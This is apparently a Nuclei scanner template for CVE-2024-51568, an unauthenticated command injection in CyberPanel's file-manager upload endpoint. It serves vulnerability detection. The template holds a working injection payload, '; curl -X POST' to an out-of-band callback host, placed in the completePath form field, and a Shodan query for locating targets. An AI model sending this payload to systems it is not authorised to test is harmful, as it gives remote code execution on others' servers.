复制
id: CVE-2024-51568
info:
name: CyberPanel - Command Injection
author: s4e-io
severity: critical
description: |
CyberPanel (aka Cyber Panel) before 2.3.5 allows Command Injection via completePath in the ProcessUtilities.outputExecutioner() sink. There is /filemanager/upload (aka File Manager upload) unauthenticated remote code execution via shell metacharacters.
reference:
- https://www.rapid7.com/db/modules/exploit/unix/webapp/cyberpanel_preauth_rce_multi_cve/
- https://dreyand.rs/code/review/2024/10/27/what-are-my-options-cyberpanel-v236-pre-auth-rce
- https://nvd.nist.gov/vuln/detail/CVE-2024-51568
- https://cyberpanel.net/blog/cyberpanel-v2-3-5
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H
cvss-score: 10
cve-id: CVE-2024-51568
cwe-id: CWE-78
epss-score: 0.92592
epss-percentile: 0.99733
metadata:
verified: true
max-request: 2
vendor: cyberpanel
product: cyberpanel
shodan-query: http.html:"login to your cyberpanel account"
tags: cve,cve2024,cyberpanel,rce,intrusive,vkev
variables:
boundary: "{{to_lower(rand_base(9))}}"
filename: "{{to_lower(rand_text_alpha(5))}}"
http:
- raw:
- |
GET / HTTP/1.1
Host: {{Hostname}}
- |
POST /filemanager/upload HTTP/1.1
Host: {{Hostname}}
X-CSRFToken: {{csrftoken}}
Content-Type: multipart/form-data; boundary=----NewBoundary{{boundary}}
------NewBoundary{{boundary}}
Content-Disposition: form-data; name="domainName"
{{Hostname}}
------NewBoundary{{boundary}}
Content-Disposition: form-data; name="completePath"
; curl -X POST http://{{interactsh-url}}
------NewBoundary{{boundary}}
Content-Disposition: form-data; name="file"; filename="{{filename}}.txt"
pwd
------NewBoundary{{boundary}}--
matchers:
- type: dsl
dsl:
- "status_code == 200"
- 'contains(interactsh_protocol, "dns")'
- 'contains_all(body, "status\":", "error_message\":")'
condition: and
extractors:
- type: regex
part: header
name: csrftoken
group: 1
regex:
- csrftoken=([A-Za-z0-9]+)
internal: true
# digest: 490a00463044022022de942a7beb2c76852006ef854e5636d3347dacb5f2709bd148876cd4116a3f0220590b030a6322a2d3ed82bc39b676a8862efb4fa7ff96d771532f6470966dd2f2:922c64590222798bb761d5b6d8e72950